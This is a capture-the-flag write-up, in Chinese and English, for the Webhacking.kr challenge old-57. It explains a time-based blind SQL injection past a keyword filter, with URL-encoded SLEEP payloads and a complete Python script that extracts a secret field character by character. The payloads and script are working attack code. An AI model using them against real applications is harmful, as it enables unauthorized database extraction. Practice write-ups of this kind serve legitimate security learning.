Webhacking.kr old-57

Challenge

Extract the flag stored in the secret field through a timing oracle.

通过 timing oracle 提取 secret 字段中的 flag。

1
https://webhacking.kr/challenge/web-34/

Analysis

服务端把 se 直接拼入 INSERT 的数值位置,并过滤 select、and、or、not、&、| 和 benchmark。IF、LENGTH、ASCII、SUBSTR 与 SLEEP 仍可使用,因此可以用响应时间区分条件真假。

条件为真时执行 SLEEP(2),条件为假时执行 SLEEP(0)。位置参数按 MySQL 字符串函数约定从 1 开始。发送请求时必须测量整个 HTTP 请求耗时,并以明显高于正常响应的延迟作为 true oracle,而不是依赖页面正文。

Solution

基础长度探针:

1
https://webhacking.kr/challenge/web-34/?msg=a&se=IF%28LENGTH%28pw%29%3DN%2CSLEEP%282%29%2CSLEEP%280%29%29

其中 N 替换为待测试长度。单字符探针:

1
https://webhacking.kr/challenge/web-34/?msg=a&se=IF%28ASCII%28SUBSTR%28pw%2CN%2C1%29%29%3DC%2CSLEEP%282%29%2CSLEEP%280%29%29

其中 N 是 1-based 位置,C 是待测试字符的 ASCII 数值。以下脚本包含长度枚举、字符枚举、请求参数编码、延迟阈值和 entry point;它不包含任何真实 cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import os
import string
import time

import requests

BASE_URL = os.environ.get("WEBHACKING_BASE", "https://webhacking.kr")
ENDPOINT = f"{BASE_URL}/challenge/web-34/"
SESSION_ID = os.environ.get("CHALLENGE_SESSION", "")
SLEEP_SECONDS = 2
DELAY_THRESHOLD = 1.5
MAX_LENGTH = 64
CHARACTERS = string.ascii_letters + string.digits + string.punctuation

def make_session():
session = requests.Session()
session.headers.update({"User-Agent": "old-57-writeup/1.0"})
if SESSION_ID:
session.cookies.set("PHPSESSID", SESSION_ID, domain="webhacking.kr", path="/")
return session

def request_is_true(session, condition):
expression = (
f"IF({condition},SLEEP({SLEEP_SECONDS}),SLEEP(0))"
)
started = time.monotonic()
response = session.get(
ENDPOINT,
params={"msg": "a", "se": expression},
timeout=SLEEP_SECONDS + 10,
)
elapsed = time.monotonic() - started
response.raise_for_status()
return elapsed >= DELAY_THRESHOLD

def discover_length(session):
for length in range(1, MAX_LENGTH + 1):
if request_is_true(session, f"LENGTH(pw)={length}"):
return length
raise RuntimeError("password length was not found")

def recover_flag(session, length):
flag = ""
for position in range(1, length + 1):
for character in CHARACTERS:
code = ord(character)
condition = f"ASCII(SUBSTR(pw,{position},1))={code}"
if request_is_true(session, condition):
flag += character
print(flag)
break
else:
raise RuntimeError(f"no character matched at position {position}")
return flag

def main():
session = make_session()
length = discover_length(session)
print(f"length={length}")
flag = recover_flag(session, length)
print(f"flag={flag}")

if __name__ == "__main__":
main()

Timing oracle 对网络抖动敏感;SLEEP_SECONDS 和 DELAY_THRESHOLD 需要根据当前网络基线调整。